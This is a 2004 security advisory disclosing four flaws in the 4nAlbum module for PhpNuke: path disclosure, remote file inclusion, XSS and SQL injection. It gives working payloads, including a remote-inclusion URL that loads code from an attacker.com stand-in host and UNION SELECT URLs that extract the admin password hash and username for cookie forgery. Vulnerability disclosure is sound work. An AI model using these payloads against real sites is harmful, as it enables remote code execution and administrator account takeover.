<<< Date Index >>>     <<< Thread Index >>>

[waraxe-2004-SA#006 - Multiple vulnerabilities in 4nalbum module for PhpNuke]






{================================================================================}
{                              [waraxe-2004-SA#006]                             
 }
{================================================================================}
{                                                                               
 }
{          [ Multiple vulnerabilities in 4nalbum module for PhpNuke ]           
 }
{                                                                               
 }
{================================================================================}
                                                                                
                                                
Author: Janek Vind "waraxe"
Date: 15. March 2004
Location: Estonia, Tartu




Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  From developer's infofile:

4nAlbum Version 0.92 (German & English) for phpNUKE Version 6.5 - 7.0 
(http://phpnuke.org)
By WarpSpeed (Marco Wiesler) (warpspeed@xxxxxxxxxxxxxxx) @ Nov/2oo3 
http://www.warp-speed.de
 @ 4thDimension.de Networking 

With this addon/module for phpNUKE you can offer a comfortable
(Media) Album to your users.

- Creating infinite categories and subcategories
- Comfortable Administrationsfunction with helptexts
- Upload from Mediafiles for Members/Guests possible (can be deactivated)
- etc




Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Full path disclosure:

If we use URL-s below, then we can see standard php error messages with full 
path disclosure.
This is frequently underestimated security flaw, which can give for potential 
attacker vital
information, needed to hack further. For example, if we can exploit some sql 
injection bugs and
logged-in MySql user has file permissions, then the exact full path to the file 
is needed to successful
file creation or reading.

Examples:

http://localhost/nuke71/modules/4nalbum/public/displaycategory.php





2. Remote file inclusion:

Remote attacker can make GET or POST request with specially crafted parameter 
and victim server
will include the file from remote server, therefore attacker can make victim 
server parse any php code,
whatever attacker wants. Of course - if webserver is located behind properly 
configured firewall, or if
php.ini configuration contains "allow_url_fopen = Off", then it does'nt work...


Examples:

First  upload file named "fileFunctions.php" to te www.attacker.com. Then make 
request:

http://localhost/nuke71/modules/4nalbum/public/displaycategory.php?basepath=http://www.attacker.com/


This is the original code from displaycategory.php:

...

include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");

function getThumbnail($img, $galloc) {
        global
...






3. Cross-Site scripting aka XSS

XSS is useful for stealing of the cookies, which will lead to bypassing of the 
authentication and
overtaking of the website (if attacker can get admin-s cookies).


Example:


http://localhost/nuke71/modules/4nalbum/public/nmimage.php?z=[xss code here]

Because PhpNuke will filter some important symbols from GET request, POST 
request is needed.




4. sql injection

This is my favourite ;) - easy to exploit and the effect is devastating.
Try this:

http://localhost/nuke71/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,pwd,2,null,null,null%20FROM%20nuke_authors/*

and this:

http://localhost/nuke71/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid,2,null,null,null%20FROM%20nuke_authors/*


and you will see admin's password md5 hash and username. This is enough to 
handcraft the cookie and bypass authentication ;)





Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to ulljobu, djzone, raider and to all IT freaks in Estonia!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@xxxxxxxxx
    Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------